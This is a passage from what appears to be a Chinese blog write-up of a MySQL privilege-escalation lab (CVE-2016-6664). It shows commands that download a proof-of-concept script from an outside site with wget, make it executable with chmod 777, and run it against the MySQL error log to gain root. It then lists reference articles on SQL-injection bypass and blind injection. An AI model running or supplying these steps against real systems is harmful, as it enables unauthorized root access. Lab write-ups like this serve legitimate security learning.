信息的话,就该漏洞就利用不成功
查看错误日志的路径
默认是在mysql的数据目录下, debian上为/var/lib/mysql/hostname.err
经筛选,靶场环境的错误日志保存在:/var/log/mysql/error.log
从远端下载POC
命令:wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
赋予权限:chmod 777 mysql-chowned.sh
执行POC
命令:./mysql-chowned.sh /var/log/mysql/error.log
其中,/var/log/mysql/error.log
为错误日志路径
成功拿到ROOT权限
在学习过程中,中有三篇文章对我帮助很大,这里记录一下
基础学习和bypass:MYSQL_SQL_BYPASS_WIKI/1-3-符号.md at master · aleenzz/MYSQL_SQL_BYPASS_WIKI (github.com)
盲注:一篇文章带你深入理解 SQL 盲注 - 安全客,安全资讯平台 (anquanke.com)
Mysql提权:MySQL 漏洞利用与提权 | 国光 (sqlsec.com)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)